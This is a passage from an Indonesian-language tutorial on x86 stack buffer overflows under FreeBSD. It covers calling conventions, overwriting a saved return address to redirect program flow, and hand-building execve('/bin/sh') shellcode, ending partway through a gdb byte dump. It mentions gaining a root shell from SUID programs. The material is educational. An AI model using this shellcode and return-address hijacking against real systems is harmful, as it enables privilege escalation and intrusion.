  push P

maka SP akan menjadi: 100-(2+2+2+4+4) = 88

gambar-2.3a.
____//_____________________________________
    //                   |   |   | | |
    //                   | P | L |I|C|
____//___________________|___|___|_|_|_____
    //                   |           |
000                      88          100

mestinya begitu :) tapi atas nama optimasi, tampaknya gcc tidak perduli mau char kek, integer kek atau pointer, semua sama di-push sebagai tipe data 32bit. untuk kita sih ya oke-oke aja, malah tidak repot-repot ngitungnya kan?

jadi SP = 100 - (4*4) = 84

gambar-2.3b.
____//_____________________________________
    //               |   |   |   |   |
    //               | P | L | I | C |
____//_______________|___|___|___|___|_____
    //               |   88  92  96  |
000                  84              100


Stack dan Instruction Pointer (IP)

Satu hal yang penting adalah bahwa (operasi) stack juga digunakan untuk menyimpan Instruction Pointer (IP), yaitu penunjuk arah bagi program (seperti nomor baris perintah dalam BASIC) coba perhatikan cuplikan kode 'canggih' ini.

IP  CODE
--- --------
.
.
100 GOTO 200
200 GOTO 100
.
.

Jika kita bisa merubah IP 200 menjadi misalnya 110, kita akan menghentikan derita tanpa akhir, endless loop dari GOTO diatas.

Dengan kata lain, merubah IP berarti juga *merubah* jalan hidup program, 'cool' kan? :)

Kita tidak bisa menyimpan atau mengambil IP langsung dengan push/pop, tapi melalui instruksi CALL dan RET, misalnya perintah:

  call func

adalah ekuivalen dengan:

  PUSH next_IP to STACK
  JMP to address_func

next_IP tidak lain adalah lokasi selanjutnya (di memori) dari kode instruksi pemanggilan tersebut.

Sebaliknya instruksi RET akan membuat program menuju alamat yang disimpan sebelumnya diatas. (atau tepatnya *apapun* yang terdapat dalam tumpukan stack paling atas).

  POP STACK to temp
  JMP to temp

Seperti juga PUSH/POP instruksi CALL/RET juga merubah nilai SP, tergantung jenis panggilannya, CALL/RET sebanyak 2 poin dan CALL FAR/RETF sebanyak 4 poin. Tapi mungkin ini tidak terlalu penting karena biasanya model pemanggilan di UNIX selalu RETF.

Hal pertama yang dilakukan oleh suatu fungsi adalah menyimpan nilai SP baik-baik, dikunci oleh BP. karena pada saat akhir dia harus mengembalikan nilai SP itu tanpa kurang suatu apapun, kalau tidak nanti bisa digampar kernel, kill(1).


Pemanggilan fungsi

Fungsi pemanggil (misalnya main()) melakukan hal-hal tertentu ketika melakukan pemanggilan fungsi yang berkaitan dengan bagaimana cara High Level Language (HLL, seperti BASIC, C/C++, Pascal, dll.) mengirmkan parameter/argumen.

Dalam C/C++ parameter didorong ke dalam stack, mulai dari ujung (dari param terakhir sesuai syntax), berturut-turut sampai ke param pertama), selanjutnya prosedur pemanggil juga bertanggung jawab untuk meng-offset nilai SP lagi setelah fungsi kembali (sebesar jumlah yang didorong ke stack). Untuk Pascal berlaku hal yang sebaliknya, tapi sudahlah tidak perlu kita bahas :).

prototype:
  void func(int a, int b, int c);

pemanggilan fungsi:
  func(19,09,1969);
 
pemanggilan fungsi dalam assembler:

  pushl $1969	; c
  pushl $9	; b
  pushl $19	; a
  call func	; sama dengan PUSH next_IP, JMP func

  addl $12,%esp	; pada Pascal, fungsi yang dipanggil
		; yang akan melakukan penyesuaian ini

Karena optimisasi program, nilai yang ditumpuk ke stack berupa kelipatan 16, sehingga transalasinya menjadi:

  addl $-4,%esp	; penyesuaian awal, offset penala stack

  pushl $1969	; c
  pushl $9	; b
  pushl $19	; a
  call func	; sama dengan PUSH next_IP, JMP func

  addl $16,%esp	; penala stack dengan alignment 16


Dalam HLL juga dikenal apa yang disebut dengan prolog dan epilog. Sesuai namanya prolog terjadi pada awal fungsi:

 pushl %ebp	; BP disimpan ke stack
 movl %esp,%ebp	; BP disamakan nilainya dengan SP

jika terjadi operasi stack, misalnya memanggil fungsi lain yang menggunakan parameter, stack alignment 16 dilakukan dengan mengurangi SP sebesar 8. hal ini disebabkan karena instruksi call sebelumnya telah mengkonsumsi stack 4 byte (push IP) serta push BP juga telah mengurangi SP sebesar 4.

 subl 8,%esp	; >prologue_set_stack_ptr

dan epilog terjadi di akhir (sebelum instruksi "ret"):

 movl %ebp,%esp	; SP disamakan nilainya dengan BP 
 popl %ebp	; Nilai BP diambil dari stack

atau disingkat:

  leave		; sama saja dengan gabungan dua instruksi
		; diatas, cuma lebih lambrat ;(



Aplikasi

Studi Program

Contoh program di sini menggunakan FreeBSD 4.7, jadi maaf-maaf saja kalau sedikit berbeda, dengan pengantar yang sudah saya jelaskan diatas, mohon disesuaikan sendiri :)

pertama kita lihat output dari program sederhana ini

contoh0.c
------------------------------------------------------------
void func0() {
  /* nothing to do */
}

int main() {
  func0;
}
------------------------------------------------------------

[aa]$gcc -S -dp contoh0.c
option -S adalah untuk membuat listing code assembly, sedangkan
option -dp menambahken keterangan tambahan dalam listing tsb.

kita lihat listing assembly-nya dari file contoh0.s sbb:

------------------------------------------------------------
        .file   "contoh0.c.c"
        .version        "01.01"
gcc2_compiled.:
.text
        .p2align 2,0x90
.globl func0
                .type            func0,@function
func0:
        pushl %ebp      # 9     movsi-2
        movl %esp,%ebp  # 11    movsi+2/1
.L2:
        leave   # 14    leave
        ret     # 15    return_internal
.Lfe1:
                .size            func0,.Lfe1-func0
        .p2align 2,0x90
.globl main
                .type            main,@function
main:
        pushl %ebp      # 12    movsi-2
        movl %esp,%ebp  # 14    movsi+2/1
.L3:
        leave   # 17    leave
        ret     # 18    return_internal
.Lfe2:
                .size            main,.Lfe2-main
        .ident  "GCC: (GNU) c 2.95.4 20020320 [FreeBSD]"
------------------------------------------------------------

Dibawah label func0 dan main, kita peroleh hasil yang sama

prolog:
  pushl %ebp
  movl %esp,%ebp

epilog:
  leave
  ret

Program ini memang tidak melakukan apa-apa, cuma untuk menunjukkan fungsi prolog dan epilog. program ini juga menunjukkan bahwa fungsi main() diperlakukan sama saja dengan fungsi-fungsi lainnya, bedanya adalah bahwa main() adalah fungsi pertama yang dipanggil.

Selanjutnya supaya tidak 'ribet', hasil program akan diekstrak lebih sederhana seperti format diatas, dan kompilasi dilakukan tanpa menggunakan option "-dp".

jika kita tambahkan result pada fungsi main() tadi sbb:

contoh0.c
------------------------------------------------------------
void func0() {
  /* nothing to do */
}

int main() {
  func0;
  return(1); /* return code */
}
------------------------------------------------------------

kita lihat dari listing dibawah, ternyata nilai pengembalian akan disimpan di register EAX, dan setelah itu fungsi/program akan langsung dihentikan/keluar.

------------------------------------------------------------
main:
  pushl %ebp		; >prolog
  movl %esp,%ebp	; >

  movl $1,%eax		; return value = 1
  jmp .L3		; program langsung menuju epilog

.L3:
  leave			; >epilog
  ret			; >
------------------------------------------------------------

Jika kita tambah beberapa fungsi lain yang menggunakan parameter misalnya menjadi seperti contoh1.c dibawah ini:

contoh1.c
------------------------------------------------------------
void func0() { }
void func1(int I) { }
void func2(int I, long L) { }
int  func3(int I, long L, char * c) { }

/*
  int  func_C(char C) { }
  int  func_CS(char C, short S) { }
  int  func_CSD(char C, short S, double D) { }
*/

int main() {
  func0;
  func1(1);
  func2(2, 3);
  func3(4, 5, 6);
/*
  atau sebaiknya dipanggil dengan:
    func3(4, 5, (char *) 6);
  supaya gcc tidak rewel masalah casting.
*/

/*
  func_C('A');
  func_CS('B', 123);
  func_CSD('C', 45678, 91011.1213);
*/ 

  return(0);
}  
------------------------------------------------------------

Ternyata konversi assembly untuk fungsi-fungsi func0 - func3 tersebut semua sama saja, hanya berisi prolog dan epilog, tampaknya selama parameter yang dilewatkan bertipe integer 32 bit atau pointer, maka SP tidak akan diobok-obok oleh fungsi yang dipanggil. Untuk keperluan BO, kebanyakan kita akan melakukan passing pointer.

Untuk tipe data char/short, fungsi akan mengalokasikan stack untuk menampung manipulasi data, sebagaimana variabel lokal, yang akan dibahas d bagian selanjutnya, sedangkan untuk tipe data real dipergunakan juga floating-point stack st0-st7. Silakan buka comment diatas dan lihat sendiri listingnya :).

Pada fungsi main() mulai terjadi 'silat lidah' antara compiler dengan assembler :),

------------------------------------------------------------
main:
  pushl %ebp		; >prolog
  movl %esp,%ebp	; >

  subl $8,%esp		; >prologue_set_stack_ptr
			; >alignment 16, setelah-
			; >(PUSH BP dan IP) = -8

  addl $-12,%esp	; karena hanya ada satu parameter,
  pushl $1		; maka offset penala stack adalah
  call func1		;   (1 * 4) - 16 = -12
  addl $16,%esp		; penala stack, alignment 16

  addl $-8,%esp		; 2 param -> (2 * 4) - 16 = -8
  pushl $3
  pushl $2
  call func2
  addl $16,%esp		; penala stack

  addl $-4,%esp		; 3 param -> (3 * 4) - 16 = -4 
  pushl $6		; jika ada 4 param, maka offset = 0
  pushl $5		; ..dan selanjutnya.. berulang,
  pushl $4		; jika ada 5 param, offset = -12
  call func3		; dengan penala stack = 32
  addl $16,%esp		; 

  xorl %eax,%eax	; cara yang lebih efisien untuk
			; menyatakan EAX=0
  jmp .L6

.L6:
  leave			; >epilog
  ret			; >
------------------------------------------------------------

gambar-3.1a.
  -SP sebelum pemanggilan fungsi ---->
                                     |
  Offset penala stack                |
    func3 -04 ------------------->   |
    func2 -08 --------------->   |   |
    func1 -12 ----------->   |   |   |             main()
____//___________________|___|___|___|___________|___|_
    //               |   |   |   |   |       |   |   | 
    //               | I | L | C | # | sub 8 |BP |RET|
____//_______________|___|___|___|___|_______|___|___|_
    //               |   .   .   |   |       |   |   |
000                  84  .   .   |   100     |       116
                     |   .   .   |   |       |
                     |   <--------alignments->
                     V
  -SP setelah pemanggilan fungsi

Dari gambaran diatas, untuk ketiga fungsi tsb ternyata pada akhirnya SP bernilai sama.

Dalam contoh selanjutnya kita akan membuat variabel lokal

contoh2.c
--------------------------------------------------

Void func1(char * S) {
  char buf0[1];			/* paragraf 1: -24 */
}

void func2(char * S) {
  char buf20[1], buf21[3];	/* paragraf 1: -24 */
}

void func3(char * S) {
  char buf30[1]; char buf31[3]; char buf32[5];
}

void func4(char * S) {
  char buf40[1]; char buf41[3]; char buf42[5];
  char buf43[7];		/* paragraf 2: -40 */
}

void func5(int I, long L, char * P) {
  char buf50[1]; char buf51[3]; char buf52[5];
  char buf53[7];		/* paragraf 2: -40 */
  char buf54[9];		/* paragraf 3: -56 */

/* akses variabel lokal */
  buf50[0]=0; 
  buf51[0]=100; buf51[2]=102;
  buf52[0]=200; buf52[4]=204;
  buf53[0]='3';
  buf54[0]='4';
}

int main(void) {
  char buf0[512];
  func5(12345, 678910, buf0);
}
--------------------------------------------------

Fungsi func1 - func4 dibuat hanya untuk menunjukkan bahwa pengalokasian stack juga dilakukan dalam alignment 16. listing func1, func2 dan func3 adalah identik sbb:

func1, func2 & func 3:
  pushl %ebp		; >prolog
  movl %esp,%ebp	; >
  subl $24,%esp		; >prologue_set_stack_ptr
			; >default 8, +16 = 24

Yang sedikit berbeda adalah func4, stack prolognya dikurangi lagi sejumlah 1 paragraf sehingga total sub menjadi 40.

func 4:
  .
  subl $40,%esp		; >prologue_set_stack_ptr
  .			; >8 + 16 + 16 = 40

Akses terhadap argumen yang diberikan, dapat dilihat dalam listing func5 sbb:

func5:
  pushl %ebp		; >prolog
  movl %esp,%ebp	;
  subl $56,%esp		; >prologue_set_stack_ptr

  movb $48,-1(%ebp)	; -buf50[0] = '0'
  movb $100,-8(%ebp)	; -buf51[0] = 100
  movb $102,-6(%ebp)	; -buf51[0] = 102
  movb $-56,-16(%ebp)	; -buf52[0] = 200 (unsigned)
  movb $-52,-12(%ebp)	; -buf52[0] = 204 (unsigned)
  movb $30,-24(%ebp)	; -buf53[0] = 30
  movb $36,-18(%ebp)	; -buf53[0] = 36
  movb $40,-36(%ebp)	; -buf54[0] = 40
  movb $48,-28(%ebp)	; -buf54[0] = 48

  leave			; >epilog
  ret			; >

Gambarannya adalah sebagai berikut. Supaya mudah, kita asumsikan bahwa posisi stack sebelum pemanggilan fungsi adalah 100 (Di bawah ini hanya ditunjukkan sampai buf53), Ternyata dalam mengalokasikan variabel lokal, dilakukan alignment 4 atau dword, untuk string yang berisi lebih dari 3 character, sementara yang isinya cuma 1 char tidak dialign sama sekali, coba tuh lihat dibawah, buf50 mepet banget sama BP.

gambar-3.1b.
            >buf53< buf52  buf51 buf50      <---arguments--->
            |     | ^   ^   ^ ^    ^        |    main() 
____//______|_____|_|___|___|_|____||_______|_______________|
    // dst. 3333333 22222   111    0|   |   |   |   |   |   |
    //      |     |X|   |XXX| |XXXX||BP |RET| I | L | S |XXX|
____//______|_____|_|___|___|_|____||___|___|___|___|___|___|
    //      |               |       |       |               |
000         52              68              84              100


legenda:
  X: slack/tidak digunakan akibat alignment
  BP: Base Pointer
  I, L dan S: parameter yang dimasukkan
  RET: Return Address

Oh iya nanti lupa, seperti kita lihat diatas, posisi argumen/ parameter adalah di sebelah kanan BP, jadi diakses dengan offset positif terhadap BP, sebaliknya dengan variabel lokal.

Eh... ngomong-ngomong, memang ada gunanya enggak sih, mengerti tentang hal itu? Hm.. enggak ada ya :(


Mengalihkan Return Address

Mumpung masih hangat, mari kita coba membuat sebuah contoh bagaimana caranya memotong kayu (lho? maaf barusan teringat lagu TK hai tukang kayu), maksud saya adalah mengalihkan alur program dengan cara merubah nilai return address yang tersimpan di stack. Agar lebih mudah kita pakai saja variabel yang mepet ke BP diatas tadi (bedanya cuma 1).

Seperti kita tahu bahwa besarnya stack yang dialokasikan untuk mengamankan BP adalah sebesar 4 poin/byte. Dan disebelahnya saudara-saudara... adalah...: Return Adress!!!

Untuk melaksanakan rencana jahat kita ini, kita perlu bantuan sebuah pointer agar nanti bisa kita rubah seenak udel kita.

kira-kira nanti begini:

  char buf0[1];
	/* ingat, diatas itu tidak beda dengan: char * buf0 */
	/* jadi masih sodara-an lah sama int * ret dibawah */
  int * ret;

kemudian kita arahkan ret ke return address: tolong harap diingat bahwa penambahan di bawah ini adalah untuk pointer ke character / 1 byte. untuk tipe lain, akan berbeda pula incrementasi-nya, untuk pointer ke integer, misalnya, setiap penambahan 1 poin akan menggeser pointer sebanyak 4 byte / lokasi address.

  ret = buf0 +1 +4;

atau kalo gcc rewel, bisa kita cast sebagai:

  (char *) ret = buf0 +1 +4; 

akhirnya kita ubah return address :)

  *ret = (hm... berapa ya?)

sebaiknya kita gunakan variabel saja supaya gampang diubah, sehingga lengkapnya program kita adalah:

contoh3.c
------------------------------------------------------------
void func(int I) {
  char buf0[1];
  int * ret;

  ret = buf0 +1 +4;
  (*ret) += I;
}

int main(int argc, char *argv[]) {
  char * shell[2];
  int i = 0;

  if (argc > 1) i = atoi(argv[1]);

  shell[0]="/bin/sh";
  shell[1]="/usr/local/bin/bash";

  func(i);

  printf("print#1: lokasi1: %X\n", &shell[0]);	/* print#1 */
  printf("print#2: lokasi2: %X\n", &shell[1]);	/* print#2 */
  printf("print#3: shell1: %s\n", shell[0]);	/* print#3 */
  printf("print#4: shell2: %s\n", shell[1]);	/* print#4 */

  return(0);
}
------------------------------------------------------------

Program diatas akan memindahkan alur program sejauh input yang kita berikan. Jangan terlalu diperhatikan baris-baris perintah main() sebelum pemanggilan func. itu cuma inisialisasi serta pengechekan input.

setelah pemanggilan fungsi func *seharusnya* program melaksanakan perintah berikutnya yaitu print#1, tapi jika kita inputkan suatu nilai tertentu sebagai argument maka program akan dilompatkan sejauh nilai yang kita berikan.

[aa]$./contoh3
print#1 lokasi1: BFBFFBA8
print#2 lokasi2: BFBFFBAC
print#3 shell1: /bin/sh
print#4 shell2: /usr/local/bin/bash

kita coba beberapa buah nilai:

[aa]$./contoh3 1
Bus error (core dumped)
[aa]$./contoh3 2
Segmentation fault (core dumped)
[aa]$./contoh3 4
Illegal instruction (core dumped)
[aa]$./contoh3 100
Segmentation fault (core dumped)
[aa]$./contoh3 1000
Segmentation fault (core dumped)
[aa]$./contoh3 -1
Bus error (core dumped)
[aa]$./contoh3 -100
[aa]$./contoh3 -1000
Segmentation fault (core dumped)


Maksudnya apa sih?

Oh iya, saya belum cerita ya? maksudnya kita mau mencoba untuk (misalnya) melompat langsung kepada printf#3, melewati print#1 dan print#2.

kita debug saja deh...

[aa]$gdb -q contoh3
(gdb)
(gdb) disass main
Dump of assembler code for function main:
0x80481ec <main>:       push   %ebp
0x80481ed <main+1>:     mov    %esp,%ebp
0x80481ef <main+3>:     sub    $0x18,%esp
0x80481f2 <main+6>:     movl   $0x0,0xfffffff4(%ebp)
0x80481f9 <main+13>:    cmpl   $0x1,0x8(%ebp)
0x80481fd <main+17>:    jle    0x8048218 <main+44>
0x80481ff <main+19>:    add    $0xfffffff4,%esp
0x8048202 <main+22>:    mov    0xc(%ebp),%eax
0x8048205 <main+25>:    add    $0x4,%eax
0x8048208 <main+28>:    mov    (%eax),%edx
0x804820a <main+30>:    push   %edx
0x804820b <main+31>:    call   0x80483c8 <atoi>
0x8048210 <main+36>:    add    $0x10,%esp
0x8048213 <main+39>:    mov    %eax,%eax
0x8048215 <main+41>:    mov    %eax,0xfffffff4(%ebp)
0x8048218 <main+44>:    movl   $0x8052c8c,0xfffffff8(%ebp)
0x804821f <main+51>:    movl   $0x8052c94,0xfffffffc(%ebp)
0x8048226 <main+58>:    add    $0xfffffff4,%esp
0x8048229 <main+61>:    mov    0xfffffff4(%ebp),%eax
0x804822c <main+64>:    push   %eax
0x804822d <main+65>:    call   0x80481c4 <func>
0x8048232 <main+70>:    add    $0x10,%esp
0x8048235 <main+73>:    add    $0xfffffff8,%esp
0x8048238 <main+76>:    lea    0xfffffff8(%ebp),%eax
0x804823b <main+79>:    push   %eax
0x804823c <main+80>:    push   $0x8052ca8
0x8048241 <main+85>:    call   0x80483e0 <printf>
0x8048246 <main+90>:    add    $0x10,%esp
0x8048249 <main+93>:    add    $0xfffffff8,%esp
0x804824c <main+96>:    lea    0xfffffff8(%ebp),%eax
0x804824f <main+99>:    lea    0x4(%eax),%edx
0x8048252 <main+102>:   push   %edx
0x8048253 <main+103>:   push   $0x8052cb6
0x8048258 <main+108>:   call   0x80483e0 <printf>
---Type <return> to continue, or q <return> to quit---
0x8048260 <main+116>:   add    $0xfffffff8,%esp
0x8048263 <main+119>:   mov    0xfffffff8(%ebp),%eax
0x8048266 <main+122>:   push   %eax
0x8048267 <main+123>:   push   $0x8052cc4
0x804826c <main+128>:   call   0x80483e0 <printf>
0x8048271 <main+133>:   add    $0x10,%esp
0x8048274 <main+136>:   add    $0xfffffff8,%esp
0x8048277 <main+139>:   mov    0xfffffffc(%ebp),%eax
0x804827a <main+142>:   push   %eax
0x804827b <main+143>:   push   $0x8052cd1
0x8048280 <main+148>:   call   0x80483e0 <printf>
0x8048285 <main+153>:   add    $0x10,%esp
0x8048288 <main+156>:   xor    %eax,%eax
0x804828a <main+158>:   jmp    0x804828c <main+160>
0x804828c <main+160>:   leave
0x804828d <main+161>:   ret
End of assembler dump.
(gdb) q
[aa]$

Cuekin saja baris-baris kode diatas tidak kita perlukan, Yang kita butuh adalah address setelah func dipanggil (address ini di-push ke stack pada saat pemanggilan func, nilai inilah yang kita rubah dalam fungsi func)

.
0x804822d <main+65>:    call   0x80481c4 <func>
0x8048232 <main+70>:    add    $0x10,%esp
.

...serta address setelah print#2 dipanggil. kita akan mengalihkan alur program ke sini.

.
0x8048258 <main+108>:   call   0x80483e0 <printf>
0x804825d <main+113>:   add    $0x10,%esp
.

Untuk mengalihkan alur program dari address pertama diatas kepada address kedua, berarti return address harus diubah (ditambah) sebesar selisih antara keduanya.

Dengan aljabar sederhana kita peroleh displacement offsetnya adalah sebesar: <main+113> - <main+70> = 113 - 70 = 43

Mari kita coba sekali lagi...

[aa]$./contoh3 43
print#3: shell1: /bin/sh
print#4: shell2: /usr/local/bin/bash
[aa]$

OK! :))


Exec Syscall

Setelah sukses pertama membelokkan alur program ke tempat yang kita kehendaki selanjutnya kita perlu memilih apa yang akan kita jalankan dan dimana ditempatkannya. Umumnya program akan diarahkan untuk menjalankan shell /bin/sh, karena dari situ praktis kita dapat menjalankan yang lainnya terserah kita, apalagi jika program yang diekploit tersebut SUID root maka tunai sudah suratan, dan mereka hidup bahagia selamanya sampai akhir hayat. eng- ing- eeeng...

untuk spawning shell code kita lihat lihat dan pelajari prototype dari fungsi execve(2).

[aa]$man execve

NAME
  execve - execute a file

LIBRARY
  Standard C Library (libc, -lc)

SYNOPSIS
  #include <unistd.h>

  int
  execve(const char *path, char *const argv[], char *const envp[]);

DESCRIPTION
  Execve() transforms the calling process.. bla-bla-bla...
 

Fungsi ini adalah embahnya fungsi-fungsi exec yang lain, front-end-nya bisa berupa execl, execlp, execle, exect, execv dan execvp. Jika execve sukses dijalankan, selanjutnya program kita bisa jalan sendiri tidak perlu lagi balik atau terikat oleh proses yang memanggilnya. Cocok-lah dengan keinginan kita :)

arg1 (path) harus berisi path string lengkap dari program yang akan kita jalankan, sementara arg2 (argv), adalah argumen list (array dari strings alias pointer ke pointer). Kedua argumen ini *harus* diisi dengan benar.

kita isi arg1 (path) dengan string "/bin/sh" (shell), dan arg2 dengan pointer ke string tsb. dengan NULL sebagai terminator.

baca-baca juga manual exit(3) dan _exit(2) ya?

langsung saja kita lihat program berikut listing assembly-nya:

contoh4.c
------------------------------------------------------------
#include <unistd.h>

int main() {
  char * sh[2];
  sh[0] = "/usr/bin/perl";
  sh[1] = NULL;
  execve(sh[0], sh, NULL);
  _exit(0);
}
------------------------------------------------------------

Hm... sebentar, kita bahas dulu dua instruksi assembler yang agak mirip-mirip, dan bisa membingungkan bahkan menyesatkan yaitu MOV mem,reg dengan LEA mem,reg: LEA artinya Load Effective Address, sementara MOV artinya menyalin/mengkopi isi memori/register.

gambar-3.3.
____//___________________________
    //     |1|3|5|7|9|A|C|E|
    //     |2|4|6|8|0|B|D|F|
____//_____|_|_|_|_|_|_|_|_|_____
    //     |               |
000        92              100

misalkan jika nilai SP sekarang adalah 92, maka instruksi MOVL %ESP,%EAX akan menyalin *isi* ESP seukuran dword atau 12345678 kedalam EAX. jadi, EAX=12345678, sedangkan LEAL %ESP,%EAX akan menyalin *address* ESP atau 00000092 ke dalam EAX. jadi, EAX=00000092.

Dalam syntax intel, instruksi LEA EAX,ESP identik dengan

  mov EAX, OFFSET [ESP]

Dalam syntax att, jika operand untuk mov memakai prefix ($) maka yang diambil adalah: address-nya. Sebaliknya jika tidak memakai prefix, maka yang diambil adalah: isi-memori-nya

movl $var,%eax => EAX = address var
movl var,%eax  => EAX = nilai/isi memori dari var

hati-hati, immediate operand (biasanya berupa angka), justru menggunakan prefix $ seperti dalam: movl $-123,%eax, artinya menjadikan EAX bernilai -123.

Sebaliknya untuk pengalamatan tidak langsung oleh register, notasinya adalah memakai tanda kurung.

mov (%ebx),%eax  : salin isi memory yang alamatnya ditampung
                   oleh BX. nilai BX = address.
mov %ebx,%eax    : salin nilai BX kedalam AX

Kita lihat bahwa offset memory sama dengan nilai BX itu sendiri, jadi jika/selama tidak terdapat displacement lainnya dalam base indexing, maka instruksi: "lea (%ebx),%eax" hasilnya adalah sama saja dengan instruksi: "mov %ebx,%eax"

begitu kira-kira, bingun? yah enggak apa-lah, saya juga enggak yakin he-he-he.

(enggak deh, bo-ong,.. cuma becanda, segitu aja marah, bener begitu koq. sungguh deh... please...)

udah ah, kita lanjut... listingnya adalah sbb:

------------------------------------------------------------
DATA
.LC0:
  .byte 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x0

TEXT/CODE
main:
  pushl %ebp		;>prolog
  movl %esp,%ebp	;>
  subl $24,%esp		;>

  movl $.LC0,-8(%ebp)	; address sh[0] / .LC0 / "/bin/sh"
			; disimpan ke stack
  movl $0,-4(%ebp)	; address sh[1] / NULL disimpan ke stack

  addl $-4,%esp		;>offset penala stack
  pushl $0		; arg3 = NULL
  leal -8(%ebp),%eax	; AX = address [BP-8]
  pushl %eax		; arg2 = offset address [BP-8]
  movl -8(%ebp),%eax	; AX = isi memori dari [BP-8]
  pushl %eax		; arg1 = address "/bin/sh" 
  call execve
  addl $16,%esp		;>penala stack

  addl $-12,%esp	;>offset penala stack
  pushl $0		; arg1
  call _exit
  addl $16,%esp		;>penala stack
.L2:
  leave
  ret
------------------------------------------------------------

Kita ambil beberapa baris assembly yang kita perlukan untuk menyusun program kita, yaitu pemanggilan spawning dengan execve dan clean exit

[aa]$gdb -q contoh4
(gdb) disass main
Dump of assembler code for function main:
0x80481d8 <main>:       push   %ebp
0x80481d9 <main+1>:     mov    %esp,%ebp
0x80481db <main+3>:     sub    $0x18,%esp
0x80481de <main+6>:     movl   $0x8049c41,0xfffffff8(%ebp)
0x80481e5 <main+13>:    movl   $0x0,0xfffffffc(%ebp)
0x80481ec <main+20>:    add    $0xfffffffc,%esp
0x80481ef <main+23>:    push   $0x0
0x80481f1 <main+25>:    lea    0xfffffff8(%ebp),%eax
0x80481f4 <main+28>:    push   %eax
0x80481f5 <main+29>:    mov    0xfffffff8(%ebp),%eax
0x80481f8 <main+32>:    push   %eax
0x80481f9 <main+33>:    call   0x8048360 <execve>
0x80481fe <main+38>:    add    $0x10,%esp
0x8048201 <main+41>:    add    $0xfffffff4,%esp
0x8048204 <main+44>:    push   $0x0
0x8048206 <main+46>:    call   0x804834c <_exit>
0x804820b <main+51>:    add    $0x10,%esp
0x804820e <main+54>:    mov    %esi,%esi
0x8048210 <main+56>:    leave
0x8048211 <main+57>:    ret
End of assembler dump.
(gdb) gdb execve
Undefined command: "gdb".  Try "help".
(gdb) oops
Undefined command: "oops".  Try "help".
(gdb) disass execve
Dump of assembler code for function execve:
0x8048360 <execve>:     lea    0x3b,%eax
0x8048366 <execve+6>:   int    $0x80
0x8048368 <execve+8>:   jb     0x8048358 <_exit+12>
0x804836a <execve+10>:  ret
0x804836b <execve+11>:  nop
0x804836c <execve+12>:  push   %ebp
0x804836d <execve+13>:  mov    %esp,%ebp
0x804836f <execve+15>:  sub    $0xc,%esp
0x8048372 <execve+18>:  push   %edi
.
.
(dan seterusnya beberapa lembar)
(gdb) disass exit
Dump of assembler code for function exit:
0x804991c <exit>:       push   %ebp
0x804991d <exit+1>:     mov    %esp,%ebp
0x804991f <exit+3>:     sub    $0xc,%esp
0x8049922 <exit+6>:     push   %edi
0x8049923 <exit+7>:     push   %esi
0x8049924 <exit+8>:     push   %ebx
0x804992d <exit+17>:    je     0x804994a <exit+46>
0x804992f <exit+19>:    nop
.
.
(dan seterusnya... salah. mustinya "_exit", bukan "exit")
(gdb) disass _exit
Dump of assembler code for function _exit:
0x804834c <_exit>:      lea    0x1,%eax
0x8048352 <_exit+6>:    int    $0x80
0x8048354 <_exit+8>:    ret
0x8048355 <_exit+9>:    lea    0x0(%esi),%esi
0x8048358 <_exit+12>:   jmp    0x8049a34 <.cerror>
0x804835d <_exit+17>:   lea    0x0(%esi),%esi
End of assembler dump.
(gdb) q
[aa]$


Shellcode

Nah sekarang kita cukup punya bahan. Menggunakan trik lama, kita masukkan address string ke stack dengan perintah: "call".

contoh5.c (assembler code)
------------------------------------------------------------
    pushl $0		; address NULL
    jmp shell		; ambil address stringz "/bin/sh"

  mulai:
    pushl $0		; arg3 (SP berkurang 4)
    leal 4(%esp),%eax	; jadi address string berada di SP+4 
    pushl %eax		; masukkan ke arg2 (SP berkurang lagi 4)
    mov 8(%esp),%eax	; address string sekarang di SP+8	
    pushl %eax		; masukkan sebagai arg 1
    sub $4,%esp		; dummy-ret (buat syscall)
    mov $0x3b,%eax	; service number 0x3b = execve
    int $0x80		; syscall
    add $16,%esp	; penala stack
    add $8,%esp		; offset untuk ret & push 0 diatas

    pushl $0
    sub $4,%esp
    mov $0x1,%eax
    int $0x80

    add $8,%esp

    jmp CIAO
  
  shell:
    call (mulai)	; address stringz "/bin/sh"
    .asciz \"/bin/sh\"  ; disimpan ke stack (SP)
  CIAO:
------------------------------------------------------------

lalu tinggal kita masukkan ke dalam block assembler int main() { asm(" xxxx "); }, selesailah sudah :) mari kita test hasilnya:

[aa]$./contoh5
$ echo "Hello shell!"
Hello shell!
$ exit
[aa]$

Lalu kita ambil kode-bytenya dengan debugger. Catatan: supaya kelihatan rapi sebaiknya gunakan mode layar minimal 86 kolom. saran saya gunakan x windows atau pake putty telnet, tinggal copy-paste :)

[aa]$gdb -q contoh5
(gdb) set disass intel
(gdb) disass main
Dump of assembler code for function main:
0x80481d8 <main>:       push   %ebp
0x80481d9 <main+1>:     mov    %esp,%ebp
0x80481db <main+3>:     push   $0x0
0x80481dd <main+5>:     jmp    0x804820c <shell>
0x80481df <mulai>:      push   $0x0
0x80481e1 <mulai+2>:    lea    0x4(%esp,1),%eax
0x80481e5 <mulai+6>:    push   %eax
0x80481e6 <mulai+7>:    mov    0x8(%esp,1),%eax
0x80481ea <mulai+11>:   push   %eax
0x80481eb <mulai+12>:   sub    $0x4,%esp
0x80481ee <mulai+15>:   mov    $0x3b,%eax
0x80481f3 <mulai+20>:   int    $0x80
0x80481f5 <mulai+22>:   add    $0x10,%esp
0x80481f8 <mulai+25>:   add    $0x8,%esp
0x80481fb <mulai+28>:   push   $0x0
0x80481fd <mulai+30>:   sub    $0x4,%esp
0x8048200 <mulai+33>:   mov    $0x1,%eax
0x8048205 <mulai+38>:   int    $0x80
0x8048207 <mulai+40>:   add    $0x8,%esp
0x804820a <mulai+43>:   jmp    0x8048219 <CIAO>
0x804820c <shell>:      call   0x80481df <mulai>
0x8048211 <shell+5>:    das
0x8048212 <shell+6>:    bound  %ebp,0x6e(%ecx)
0x8048215 <shell+9>:    das
0x8048216 <shell+10>:   jae    0x8048280 <atexit+100>
0x8048218 <shell+12>:   add    %cl,%cl
0x804821a <CIAO+1>:     ret
End of assembler dump.
(gdb) print CIAO - (main+3)
$1 = 62 (jumlah byte yang perlu didump)
(gdb) x/62b main+3
0x80481db <main+3>:   0x6a 0x00 0xeb 0x2d 0x6a 0x00 0x8d 0x44
0x80481e3 <mulai+4>:  0x24 0x04 0x50 0x8b 0x44 0x24 0x08 0x50
0x80481eb <mulai+12>: 0x83 0xec 0x04 0xb8 0x3b 0x00 0x00 0x00
